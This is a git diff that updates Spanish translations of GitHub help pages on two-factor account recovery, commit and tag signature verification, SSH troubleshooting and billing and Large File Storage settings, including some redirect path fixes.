+Si conoces tu contraseña de {% data variables.product.product_name %} pero no tienes credenciales o códigos de autenticación bifactorial, se te puede enviar una contraseña de única ocasión a tu dirección de correo electrónico verificada para comenzar con el proceso de verificación y volver a obtener acceso a tu cuenta.
 
 {% note %}
 
-**Note**: For security reasons, regaining access to your account by authenticating with a one-time password can take 3-5 business days. Additional requests submitted during this time will not be reviewed.
+**Nota**: Por razones de seguridad, recobrar el acceso a tu cuenta autenticándose con una contraseña de una sola ocasión puede demorar de 3 a 5 días hábiles. Las solicitudes adicionales emitidas durante este periodo no se revisarán.
 
 {% endnote %}
 
-You can use your two-factor authentication credentials or two-factor authentication recovery codes to regain access to your account anytime during the 3-5 day waiting period.
+Puedes utilizar tus credenciales de autenticación de dos factores para recobrar el acceso a tu cuenta en cualquier momento durante el periodo de espera de 3 a 5 días.
 
-1. Type your username and password to prompt authentication. If you do not know your {% data variables.product.product_name %} password, you will not be able to generate a one-time password.
-2. Under "Having Problems?", click **Can't access your two factor device or valid recovery codes?**
-  ![Link if you don't have your 2fa device or recovery codes](/assets/images/help/2fa/no-access-link.png)
-3. Click **I understand, get started** to request a reset of your authentication settings.
-  ![Reset authentication settings button](/assets/images/help/2fa/reset-auth-settings.png)
-4. Click **Send one-time password** to send a one-time password to all email addresses associated with your account.
-  ![Send one-time password button](/assets/images/help/2fa/send-one-time-password.png)
-5. Under "One-time password", type the temporary password from the recovery email {% data variables.product.prodname_dotcom %} sent.
-  ![One-time password field](/assets/images/help/2fa/one-time-password-field.png)
-6. Click **Verify email address**.
-7. Choose an alternative verification factor.
-    - If you've used your current device to log into this account before and would like to use the device for verification, click **Verify with this device**.
-    - If you've previously set up an SSH key on this account and would like to use the SSH key for verification, click **SSH key**.
-    - If you've previously set up a personal access token and would like to use the personal access token for verification, click **Personal access token**.
-  ![Alternative verification buttons](/assets/images/help/2fa/alt-verifications.png)
-8. A member of {% data variables.contact.github_support %} will review your request and email you within 3-5 business days. If your request is approved, you'll receive a link to complete your account recovery process. If your request is denied, the email will include a way to contact support with any additional questions.
+1. Teclea tu nombre de usuario y contraseña en el prompt de autenticación. Si no conoces tu contraseña de {% data variables.product.product_name %}, no podrás generar una contraseña de una sola ocasión.
+2. Da clic en **¿No puedes acceder a tu dispositivo de dos factores o a tus códigos de recuperación válidos?** debajo de "¿Tienes Problemas ![Enlace si no tienes tu dispositivo de 2fa o códigos de recuperación](/assets/images/help/2fa/no-access-link.png)
+3. Da clic en **Entiendo, comenzar** para solicitar un restablecimiento de tu configuración de autenticación. ![Botón de restablecimiento de configuración de autenticación](/assets/images/help/2fa/reset-auth-settings.png)
+4. Da clic en **Enviar contraseña de una sola vez** para enviarla a todas las direcciones de correo electrónico asociadas con tu cuenta. ![Botón para enviar contraseña de una sola vez](/assets/images/help/2fa/send-one-time-password.png)
+5. Debajo de "Contraseña de una sola vez", teclea la contraseña temporal del correo electrónico de recuperación que envió {% data variables.product.prodname_dotcom %}. ![Campo para contraseña de una sola vez](/assets/images/help/2fa/one-time-password-field.png)
+6. Da clic en **Verificar dirección de correo electrónico**.
+7. Escoge un factor de verificación alterno.
+    - Si utilizaste tu dispositivo actual para ingresar en esta cuenta anteriormente y te gustaría utilizarlo para verificación, haz clic en **Verificar con este dispositivo**.
+    - Si has configurado una llave SSH previamente en esta cuenta y quieres utilizarla para verificación, da clic en **Llave SSH**.
+    - Si configuraste un token de acceso personal previamente y te gustaría utilizarlo para verificación, da clic en **Token de acceso personal**. ![Botones de verificación alternativa](/assets/images/help/2fa/alt-verifications.png)
+8. Un miembro de {% data variables.contact.github_support %} revisará tu solicitud y te enviará un mensaje de correo electrónico dentro de los siguientes 3 a 5 días. Si se aprueba tu solicitud, recibirás un enlace para completar el proceso de recuperación de tu cuenta. Si se te niega la solicitud, el mensaje incluirá un medio para contactar a soporte con cualquier pregunta adicional.
 
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
+- "[Acerca de la autenticación de dos factores](/articles/about-two-factor-authentication)"
+- [Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)"
+- [Configurar métodos de recuperación de autenticación de dos factores](/articles/configuring-two-factor-authentication-recovery-methods)"
+- "[Acceder {% data variables.product.prodname_dotcom %} utilizando autenticación de dos factores](/articles/accessing-github-using-two-factor-authentication)"
diff --git a/translations/es-ES/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md b/translations/es-ES/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
index 38e0b87865..93de4440ac 100644
--- a/translations/es-ES/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
+++ b/translations/es-ES/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
@@ -1,6 +1,6 @@
 ---
-title: Checking your commit and tag signature verification status
-intro: 'You can check the verification status of your commit and tag signatures on {% data variables.product.product_name %}.'
+title: Comprobar el estado de verificación de firma de la confirmación y de la etiqueta
+intro: 'Puedes comprobar el estado de verificación de las firmas de tu confirmación y de la etiqueta en {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/checking-your-gpg-commit-and-tag-signature-verification-status
   - /articles/checking-your-commit-and-tag-signature-verification-status
@@ -14,30 +14,26 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Check verification status
+shortTitle: Verificar el estado de verificación
 ---
-## Checking your commit signature verification status
 
-1. On {% data variables.product.product_name %}, navigate to your pull request.
+## Comprobar el estado de verificación de firma de la confirmación
+
+1. En {% data variables.product.product_name %}, desplázate hasta la solicitud de extracción.
 {% data reusables.repositories.review-pr-commits %}
-3. Next to your commit's abbreviated commit hash, there is a box that shows whether your commit signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified.
-![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
-4. To view more detailed information about the commit signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**.
-![Verified signed commit](/assets/images/help/commits/gpg-signed-commit_verified_details.png)
+3. Junto al hash de confirmación abreviado de tu confirmación, hay una casilla que te muestra si tu firma de confirmación se verificó{% ifversion fpt or ghec %}, se verificó parcialmente,{% endif %} o si no se verificó. ![Confirmación firmada](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
+4. Para ver información más detallada sobre la firma de confirmación, haz clic en **Verificada**{% ifversion fpt or ghec %}, **Verificada parcialmente**,{% endif %} o **Sin verificar**. ![Confirmación firmada verificada](/assets/images/help/commits/gpg-signed-commit_verified_details.png)
 
-## Checking your tag signature verification status
+## Comprobar el estado de verificación de firma de la etiqueta
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Tags**.
-![Tags page](/assets/images/help/releases/tags-list.png)
-3. Next to your tag description, there is a box that shows whether your tag signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified.
-![verified tag signature](/assets/images/help/commits/gpg-signed-tag-verified.png)
-4. To view more detailed information about the tag signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**. 
-![Verified signed tag](/assets/images/help/commits/gpg-signed-tag-verified-details.png)
+2. En la parte superior de la página de lanzamiento, haz clic en **Tags** (Etiqueta). ![Página de etiquetas](/assets/images/help/releases/tags-list.png)
+3. Junto a la descripción de tu etiqueta, hay una caja que muestra si tu firma de etiqueta está verificada{% ifversion fpt or ghec %}, verificada parcialmente,{% endif %} o sin verificar. ![firma de etiqueta verificada](/assets/images/help/commits/gpg-signed-tag-verified.png)
+4. Para ver más información detallada sobre la firma de una etiqueta, haz clic en **Verificada**{% ifversion fpt or ghec %},**Verificada parcialmente**,{% endif %} o **Sin verificar**. ![Etiqueta firmada verificada](/assets/images/help/commits/gpg-signed-tag-verified-details.png)
 
-## Further reading
+## Leer más
 
-- "[About commit signature verification](/articles/about-commit-signature-verification)"
-- "[Signing commits](/articles/signing-commits)"
-- "[Signing tags](/articles/signing-tags)"
+- "[Acerca de la verificación de la firma de confirmación](/articles/about-commit-signature-verification)"
+- "[Firmar confirmaciones](/articles/signing-commits)"
+- "[Firmar etiquetas](/articles/signing-tags)"
diff --git a/translations/es-ES/content/authentication/troubleshooting-commit-signature-verification/index.md b/translations/es-ES/content/authentication/troubleshooting-commit-signature-verification/index.md
index 46abaa90df..442b97322b 100644
--- a/translations/es-ES/content/authentication/troubleshooting-commit-signature-verification/index.md
+++ b/translations/es-ES/content/authentication/troubleshooting-commit-signature-verification/index.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting commit signature verification
-intro: 'You may need to troubleshoot unexpected issues that arise when signing commits locally for verification on {% data variables.product.product_name %}.'
+title: Solucionar problemas de verificación de confirmación de firma
+intro: 'Puede que debas solucionar problemas imprevistos que surgen cuando se firman confirmaciones de forma local para la verificación en {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/troubleshooting-gpg
   - /articles/troubleshooting-commit-signature-verification
@@ -17,6 +17,6 @@ children:
   - /checking-your-commit-and-tag-signature-verification-status
   - /updating-an-expired-gpg-key
   - /using-a-verified-email-address-in-your-gpg-key
-shortTitle: Troubleshoot verification
+shortTitle: Solucionar los problemas de la verificación
 ---
 
diff --git a/translations/es-ES/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md b/translations/es-ES/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
index 1f852e1bcf..dbc3895317 100644
--- a/translations/es-ES/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
+++ b/translations/es-ES/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
@@ -1,6 +1,6 @@
 ---
-title: 'Error: Agent admitted failure to sign'
-intro: 'In rare circumstances, connecting to {% data variables.product.product_name %} via SSH on Linux produces the error `"Agent admitted failure to sign using the key"`. Follow these steps to resolve the problem.'
+title: 'Error: El agente admitió una falla para registrarse'
+intro: 'En circunstancias muy poco frecuentes, al conectarse con {% data variables.product.product_name %} mediante SSH en Linux produce el error "El agente admitió una falla para registrarse usando la clave". Sigue los pasos siguientes para resolver el problema.'
 redirect_from:
   - /articles/error-agent-admitted-failure-to-sign-using-the-key
   - /articles/error-agent-admitted-failure-to-sign
@@ -13,9 +13,10 @@ versions:
   ghec: '*'
 topics:
   - SSH
-shortTitle: Agent failure to sign
+shortTitle: El agente no pudo iniciar sesión
 ---
-When trying to SSH into {% data variables.product.product_location %} on a Linux computer, you may see the following message in your terminal:
+
+Cuando intentes implementar SSH en {% data variables.product.product_location %} en una computadora con Linux, posiblemente veas el siguiente mensaje en tu terminal:
 
 ```shell
 $ ssh -vT git@{% data variables.command_line.codeblock %}
@@ -25,11 +26,11 @@ $ ssh -vT git@{% data variables.command_line.codeblock %}
 > Permission denied (publickey).
 ```
 
-For more details, see <a href="https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786" data-proofer-ignore>this issue report</a>.
+Para conocer más detalles, consulta <a href="https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786" data-proofer-ignore>este informe de propuesta</a>.
 
-## Resolution
+## Resolución
 
-You should be able to fix this error by loading your keys into your SSH agent with `ssh-add`:
+Deberías poder solucionar este error al cargar tus claves en tu agente de SSH con `ssh-add`:
 
 ```shell
 # start the ssh-agent in the background
@@ -40,7 +41,7 @@ $ ssh-add
 > Identity added: /home/<em>you</em>/.ssh/id_rsa (/home/<em>you</em>/.ssh/id_rsa)
 ```
 
-If your key does not have the default filename (`/.ssh/id_rsa`), you'll have to pass that path to `ssh-add`:
+Si tu clave no tiene el nombre de archivo predeterminado (`/.ssh/id_rsa`), deberás pasar esa ruta a `ssh-add`:
 
 ```shell
 # start the ssh-agent in the background
diff --git a/translations/es-ES/content/authentication/troubleshooting-ssh/error-key-already-in-use.md b/translations/es-ES/content/authentication/troubleshooting-ssh/error-key-already-in-use.md
index c2a38e3e99..9acb5c85cf 100644
--- a/translations/es-ES/content/authentication/troubleshooting-ssh/error-key-already-in-use.md
+++ b/translations/es-ES/content/authentication/troubleshooting-ssh/error-key-already-in-use.md
@@ -25,7 +25,7 @@ $ ssh -T -ai <em>~/.ssh/id_rsa</em> git@{% data variables.command_line.codeblock
 > provide shell access.
 ```
 
-The *username* in the response is the account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} that the key is currently attached to. Si la respuesta se parece a "username/repo", la llave se ha vinculado a un repositorio como [*llave de implementación*](/guides/managing-deploy-keys#deploy-keys).
+El *nombre de usuario* en la respuesta es la cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} a la cual la llave está adjunta actualmente. Si la respuesta se parece a "username/repo", la llave se ha vinculado a un repositorio como [*llave de implementación*](/guides/managing-deploy-keys#deploy-keys).
 
 
 Para forzar a SSH a que utilice solo la clave que se proporcionó en la línea de comandos, utiliza `-o` para agregar la opción `IdentitiesOnly=yes`:
diff --git a/translations/es-ES/content/authentication/troubleshooting-ssh/error-unknown-key-type.md b/translations/es-ES/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
index 9041475e84..6f24e342b0 100644
--- a/translations/es-ES/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
+++ b/translations/es-ES/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
@@ -1,6 +1,6 @@
 ---
 title: 'Error: Unknown key type'
-intro: 'This error means that the SSH key type you used was unrecognized or is unsupported by your SSH client. '
+intro: Este error significa que el tipo de llave SSH que utilizaste no se reconoció o no es compatible con tu cliente SSH.
 versions:
   fpt: '*'
   ghes: '>=3.2'
@@ -12,27 +12,28 @@ redirect_from:
   - /github/authenticating-to-github/error-unknown-key-type
   - /github/authenticating-to-github/troubleshooting-ssh/error-unknown-key-type
 ---
-## About the `unknown key type` error
 
-When you generate a new SSH key, you may receive an `unknown key type` error if your SSH client does not support the key type that you specify.{% mac %}To solve this issue on macOS, you can update your SSH client or install a new SSH client.
+## Acerca del error `unknown key type`
 
-## Prerequisites
+Cuando generas una llave SSH nueva, podrías recibir un error de `unknown key type` si tu cliente SSH no es compatible con el tipo de llave que especificaste.{% mac %}Para resolver este problema en macOS, puedes actualizar tu cliente SSH o instalar un cliente SSH nuevo.
 
-You must have Homebrew installed. For more information, see the [installation guide](https://docs.brew.sh/Installation) in the Homebrew documentation.
+## Prerrequisitos
 
-## Solving the issue
+Debes tener Homebrew instalado. Para obtener más información, consulta la [guía de instalación](https://docs.brew.sh/Installation) en la documentación de Homebrew.
+
+## Resolver el problema
 
 {% warning %}
 
-**Warning:** If you install OpenSSH, your computer will not be able to retrieve passphrases that are stored in the Apple keychain. You will need to enter your passphrase or interact with your hardware security key every time you authenticate with SSH to {% data variables.product.prodname_dotcom %} or another web service.
+**Advertencia:** Si instalas OpenSSH, tu computadora no podrá recuperar contraseñas que se almacenen en la keychain de Apple. Necesitarás ingresar tu contraseña o interactuar con tu llave de seguridad de hardware cada vez que te autentiques con SSH en {% data variables.product.prodname_dotcom %} u otro servicio web.
 
-If you remove OpenSSH, the passphrases that are stored in your keychain will once again be retrievable. You can remove OpenSSH by entering the command `brew uninstall openssh` in Terminal.
+Si eliminas a OpenSSh, las paráfrasis que se almacenan en tu keychain se podrán recuperar nuevamente. Puedes eliminar a OpenSSH si ingresas el comando `brew uninstall openssh` en la terminal.
 
 {% endwarning %}
 
-1. Open Terminal.
-2. Enter the command `brew install openssh`.
-3. Quit and relaunch Terminal.
-4. Try the procedure for generating a new SSH key again. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)."
+1. Abre Terminal.
+2. Ingresa el comando `brew install openssh`.
+3. Sal y vuelve a abrir la terminal.
+4. Intenta llevar a cabo el procedimiento para generar una llave SSH nuevamente. Para obtener más información, consulta "[Generar una nueva llave SSH y agregarla a ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)."
 
-{% endmac %}{% linux %}To solve this issue on Linux, use the package manager for your Linux distribution to install a new version of OpenSSH, or compile a new version from source. If you install a different version of OpenSSH, the ability of other applications to authenticate via SSH may be affected. For more information, review the documentation for your distribution.{% endlinux %}
+{% endmac %}{% linux %}Para resolver este problema en Linux, utiliza el administrador de paquetes para tu distribución de Linux para instalar una versión nueva de OpenSSH o compila una versión nueva desde el orígen. Si instalas una versión diferente de OpenSSH, la capacidad de otras aplicaciones para autenticarse por SSH puede verse afectada. Para obtener más información, revisa los documentos para tu distribución.{% endlinux %}
diff --git a/translations/es-ES/content/authentication/troubleshooting-ssh/index.md b/translations/es-ES/content/authentication/troubleshooting-ssh/index.md
index b7b79529d9..b6571df331 100644
--- a/translations/es-ES/content/authentication/troubleshooting-ssh/index.md
+++ b/translations/es-ES/content/authentication/troubleshooting-ssh/index.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting SSH
-intro: 'When using SSH to connect and authenticate to {% data variables.product.product_name %}, you may need to troubleshoot unexpected issues that may arise.'
+title: Solucionar problemas de SSH
+intro: 'Cuando utilizas SSH para conectarte y autenticarte para {% data variables.product.product_name %}, puede que debas solucionar problemas inesperados que surjan.'
 redirect_from:
   - /articles/troubleshooting-ssh
   - /github/authenticating-to-github/troubleshooting-ssh
diff --git a/translations/es-ES/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md b/translations/es-ES/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
index e8e60da730..674e0548fa 100644
--- a/translations/es-ES/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
+++ b/translations/es-ES/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
@@ -1,6 +1,6 @@
 ---
-title: Recovering your SSH key passphrase
-intro: 'If you''ve lost your SSH key passphrase, depending on the operating system you use, you may either recover it or you may need to generate a new SSH key passphrase.'
+title: Recuperar tu contraseña de clave SSH
+intro: 'Si perdiste tu contraseña de clave SSH, según el sistema operativo que utilices, puedes recuperarla o generar una nueva contraseña de clave SSH.'
 redirect_from:
   - /articles/how-do-i-recover-my-passphrase
   - /articles/how-do-i-recover-my-ssh-key-passphrase
@@ -14,31 +14,30 @@ versions:
   ghec: '*'
 topics:
   - SSH
-shortTitle: Recover SSH key passphrase
+shortTitle: Recuperar la frase deacceso de la llave SSH
 ---
+
 {% mac %}
 
-If you [configured your SSH passphrase with the macOS keychain](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain), you may be able to recover it.
+Si [configuraste tu contraseña SSH con la keychain de macOS](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain) es posible que la puedas recuperar.
 
-1. In Finder, search for the **Keychain Access** app.
-   ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png)
-2. In Keychain Access, search for **SSH**.
-3. Double click on the entry for your SSH key to open a new dialog box.
-4. In the lower-left corner, select **Show password**.
-   ![Keychain access dialog](/assets/images/help/setup/keychain_show_password_dialog.png)
-5. You'll be prompted for your administrative password. Type it into the "Keychain Access" dialog box.
-6. Your password will be revealed.
+1. En Finder (Buscador), busca la aplicación **Keychain Access** (Acceso keychain). ![Barra Spotlight Search (Búsqueda de Spotlight)](/assets/images/help/setup/keychain-access.png)
+2. En Keychain Access (Acceso keychain), busca **SSH**.
+3. Haz doble clic en la entrada de tu clave SSH para abrir un nuevo cuadro de diálogo.
+4. En la esquina inferior izquierda, selecciona **Show password** (Mostrar contraseña). ![Diálogo Keychain access (Acceso keychain)](/assets/images/help/setup/keychain_show_password_dialog.png)
+5. Se te solicitará tu contraseña administrativa. Escríbela en el cuadro de diálogo "Keychain Access" (Acceso keychain).
+6. Se revelará tu contraseña.
 
 {% endmac %}
 
 {% windows %}
 
-If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/managing-remote-repositories) so you can use your GitHub password instead.
+Si pierdes tu contraseña de clave SSH, no hay forma de recuperarla. Tendrás que [generar un nuevo par de claves SSH comercial](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) o [cambiar a la clonación de HTTPS](/github/getting-started-with-github/managing-remote-repositories) para poder utilizar tu contraseña de GitHub en su lugar.
 
 {% endwindows %}
 
 {% linux %}
 
-If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls) so you can use your GitHub password instead.
+Si pierdes tu contraseña de clave SSH, no hay forma de recuperarla. Tendrás que [generar un nuevo par de claves SSH comercial](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) o [cambiar a la clonación de HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls) para poder utilizar tu contraseña de GitHub en su lugar.
 
 {% endlinux %}
diff --git a/translations/es-ES/content/billing/index.md b/translations/es-ES/content/billing/index.md
index 067b356ef5..edcccb60c8 100644
--- a/translations/es-ES/content/billing/index.md
+++ b/translations/es-ES/content/billing/index.md
@@ -1,7 +1,7 @@
 ---
-title: Billing and payments on GitHub
-shortTitle: Billing and payments
-intro: '{% ifversion fpt %}{% data variables.product.product_name %} offers free and paid products for every account. You can upgrade or downgrade your account''s subscription and manage your billing settings at any time.{% elsif ghec or ghes or ghae %}{% data variables.product.company_short %} bills for your enterprise members'' {% ifversion ghec or ghae %}usage of {% data variables.product.product_name %}{% elsif ghes %} licence seats for {% data variables.product.product_name %}{% ifversion ghes > 3.0 %} and any additional services that you purchase{% endif %}{% endif %}. {% endif %}{% ifversion ghec %} You can view your subscription and manage your billing settings at any time. {% endif %}{% ifversion fpt or ghec %} You can also view usage and manage spending limits for {% data variables.product.product_name %} features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_codespaces %}.{% endif %}'
+title: Facturación y pagos en GitHub
+shortTitle: Facturación y pagos
+intro: '{% ifversion fpt %}{% data variables.product.product_name %} ofrece productos gratuitos y de pago para todas las cuentas. Puedes tanto mejorar como bajar de nivel la suscripción de tu cuenta y administrar tu configuración de facturación en cualquier momento.{% elsif ghec or ghes or ghae %}{% data variables.product.company_short %} factura el {% ifversion ghec or ghae %}uso de plazas de licencia de {% data variables.product.product_name %}{% elsif ghes %} de los miembros de tu empresa para {% data variables.product.product_name %}{% ifversion ghes > 3.0 %} y para cualquier servicio adicional que compres{% endif %}{% endif %}. {% endif %}{% ifversion ghec %} Puedes ver tu suscripción y administrar tus ajustes de facturación en cualquier momento. {% endif %}{% ifversion fpt or ghec %} También puedes ver el uso y administrar los límites de gastos de las características de {% data variables.product.product_name %}, tales como las {% data variables.product.prodname_actions %}, el {% data variables.product.prodname_registry %} y los {% data variables.product.prodname_codespaces %}.{% endif %}'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github
   - /categories/setting-up-and-managing-billing-and-payments-on-github
@@ -18,7 +18,7 @@ featuredLinks:
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise{% endif %}'
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise{% endif %}'
     - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
-  popular: 
+  popular:
     - '{% ifversion ghec %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account{% endif %}'
     - '{% ifversion fpt or ghec %}/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription{% endif %}'
     - '{% ifversion fpt or ghec %}/billing/managing-billing-for-github-actions/about-billing-for-github-actions{% endif %}'
@@ -27,8 +27,7 @@ featuredLinks:
     - '{% ifversion ghes %}/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage{% endif %}'
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server{% endif %}'
     - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
-  guideCards:  
-    - /billing/managing-your-github-billing-settings/removing-a-payment-method
+  guideCards:
     - /billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process
     - /billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise{% endif %}'
@@ -54,4 +53,5 @@ children:
   - /managing-billing-for-github-marketplace-apps
   - /managing-billing-for-git-large-file-storage
   - /setting-up-paid-organizations-for-procurement-companies
----
\ No newline at end of file
+---
+
diff --git a/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md b/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
index dd82183961..88d4218aba 100644
--- a/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
+++ b/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
@@ -3,8 +3,8 @@ title: Bajar de categoría Large File Storage de Git
 intro: 'Puedes bajar de categoría y modificar el ancho de banda para {% data variables.large_files.product_name_short %} aplicando incrementos de 50 GB por mes.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-git-large-file-storage
-  - /articles/downgrading-storage-and-bandwidth-for-a-personal-account/
-  - /articles/downgrading-storage-and-bandwidth-for-an-organization/
+  - /articles/downgrading-storage-and-bandwidth-for-a-personal-account
+  - /articles/downgrading-storage-and-bandwidth-for-an-organization
   - /articles/downgrading-git-large-file-storage
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage
 versions:
diff --git a/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/index.md b/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/index.md
index 45ddfc3dbf..91ed5a7330 100644
--- a/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/index.md
+++ b/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/index.md
@@ -4,9 +4,9 @@ shortTitle: Almacenamiento de archivos de gran tamaño Git
 intro: 'Puedes ver el uso, la actualización y el cambio a una versión anterior{% data variables.large_files.product_name_long %}.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage
-  - /articles/managing-large-file-storage-and-bandwidth-for-your-personal-account/
-  - /articles/managing-large-file-storage-and-bandwidth-for-your-organization/
-  - /articles/managing-storage-and-bandwidth-usage/
+  - /articles/managing-large-file-storage-and-bandwidth-for-your-personal-account
+  - /articles/managing-large-file-storage-and-bandwidth-for-your-organization
+  - /articles/managing-storage-and-bandwidth-usage
   - /articles/managing-billing-for-git-large-file-storage
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md b/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
index 5ac4fdc7d6..972b01054f 100644
--- a/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
+++ b/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
@@ -3,8 +3,8 @@ title: Subir de categoría Git Large File Storage
 intro: 'Puedes comprar más paquetes de datos para aumentar tu cuota de banda ancha mensual y la capacidad de almacenamiento total para {% data variables.large_files.product_name_short %}.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-git-large-file-storage
-  - /articles/purchasing-additional-storage-and-bandwidth-for-a-personal-account/
-  - /articles/purchasing-additional-storage-and-bandwidth-for-an-organization/
+  - /articles/purchasing-additional-storage-and-bandwidth-for-a-personal-account
+  - /articles/purchasing-additional-storage-and-bandwidth-for-an-organization
   - /articles/upgrading-git-large-file-storage
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage
 versions:
diff --git a/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md b/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
index 52116152de..c119a44602 100644
--- a/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
+++ b/translations/es-ES/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
@@ -3,8 +3,8 @@ title: Ver tu uso de Git Large File Storage
 intro: 'Puedes auditar la cuota de ancho de banda mensual de cuenta y el almacenamiento restante para {% data variables.large_files.product_name_short %}.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-git-large-file-storage-usage
-  - /articles/viewing-storage-and-bandwidth-usage-for-a-personal-account/
-  - /articles/viewing-storage-and-bandwidth-usage-for-an-organization/
+  - /articles/viewing-storage-and-bandwidth-usage-for-a-personal-account
+  - /articles/viewing-storage-and-bandwidth-usage-for-an-organization
